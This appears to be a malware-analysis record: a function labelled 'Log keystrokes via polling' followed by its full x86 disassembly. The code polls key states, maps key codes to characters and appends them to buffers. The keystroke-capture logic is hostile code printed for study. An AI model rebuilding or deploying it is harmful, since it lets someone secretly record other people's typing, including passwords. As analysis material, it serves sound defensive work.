Function at 0x10019830
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x14
mov esi, ecx
call edi
xor ebx, ebx
mov bx, ax
push 0x90
and ebx, 1
call edi
mov edi, dword [esp + 0x10]
and eax, 1
cmp edi, 0xb5
jne 0x1001988a
mov ecx, dword [esi + 4]
lea eax, [esi + 4]
push ecx
push 0x10169a44
push eax
call fcn.10001360
mov edx, dword [esi + 8]
lea eax, [esi + 8]
push edx
push str._s__
push eax
call fcn.10001360
add esp, 0x18
pop edi
pop esi
pop ebx
ret 8
cmp edi, 0x64
jg case.0x1001989f.0
cmp edi, 0x58
ja case.0x1001989f.2
movzx ecx, byte [edi + 0x10019a70]
jmp dword [ecx*4 + 0x10019a68]
lea ecx, [edi - 0x47]
cmp ecx, 0xc
ja case.default.0x100198b5
movzx edx, byte [ecx + 0x10019ad4]
jmp dword [edx*4 + 0x10019acc]
test eax, eax
je case.default.0x100198b5
movsx ecx, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov edx, dword [esi + 4]
lea eax, [esi + 4]
push ecx
push edx
push str._s_c
push eax
call fcn.10001360
movsx ecx, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov edx, dword [esi + 8]
lea eax, [esi + 8]
push ecx
push edx
push str._s__c
push eax
call fcn.10001360
add esp, 0x20
cmp edi, 0x46
jg case.0x1001989f.0
cmp edi, 0x10
jl 0x1001990a
cmp edi, 0x19
jle 0x10019926
cmp edi, 0x1e
jl 0x10019914
cmp edi, 0x26
jle 0x10019926
cmp edi, 0x2c
jl 0x100199cd
cmp edi, 0x32
jg 0x100199cd
mov eax, dword [esp + 0x14]
test eax, eax
je 0x100199c9
test ebx, ebx
je 0x10019973
movsx ecx, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov edx, dword [esi + 4]
lea eax, [esi + 4]
push ecx
push edx
push str._s_c
push eax
call fcn.10001360
movsx ecx, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov edx, dword [esi + 8]
lea eax, [esi + 8]
push ecx
push edx
push str._s__c
push eax
call fcn.10001360
add esp, 0x20
pop edi
pop esi
pop ebx
ret 8
xor eax, eax
mov al, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov ecx, esi
lea edx, [esi + 4]
push eax
call fcn.10019520
movsx ecx, al
mov eax, dword [edx]
push ecx
push eax
push str._s_c
push edx
call fcn.10001360
xor ecx, ecx
mov cl, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
add esp, 0x10
lea edx, [esi + 8]
push ecx
mov ecx, esi
call fcn.10019520
mov ecx, dword [edx]
movsx eax, al
push eax
push ecx
push str._s__c
push edx
call fcn.10001360
add esp, 0x10
pop edi
pop esi
pop ebx
ret 8
test ebx, ebx
jmp 0x100199d3
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10019a2b
xor eax, eax
mov al, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov ecx, esi
lea edx, [esi + 4]
push eax
call fcn.10019520
movsx ecx, al
mov eax, dword [edx]
push ecx
push eax
push str._s_c
push edx
call fcn.10001360
xor ecx, ecx
mov cl, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
add esp, 0x10
lea edx, [esi + 8]
push ecx
mov ecx, esi
call fcn.10019520
mov ecx, dword [edx]
movsx eax, al
push eax
push ecx
push str._s__c
push edx
call fcn.10001360
add esp, 0x10
pop edi
pop esi
pop ebx
ret 8
movsx edx, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov ecx, dword [esi + 4]
lea eax, [esi + 4]
push edx
push ecx
push str._s_c
push eax
call fcn.10001360
movsx edx, byte [edi + str.__1234567890___qwertyuiop____asdfghjkl___zxcvbnm_._________________789_4561230.]
mov ecx, dword [esi + 8]
lea eax, [esi + 8]
push edx
push ecx
push str._s__c
push eax
call fcn.10001360
add esp, 0x20
pop edi
pop esi
pop ebx
ret 8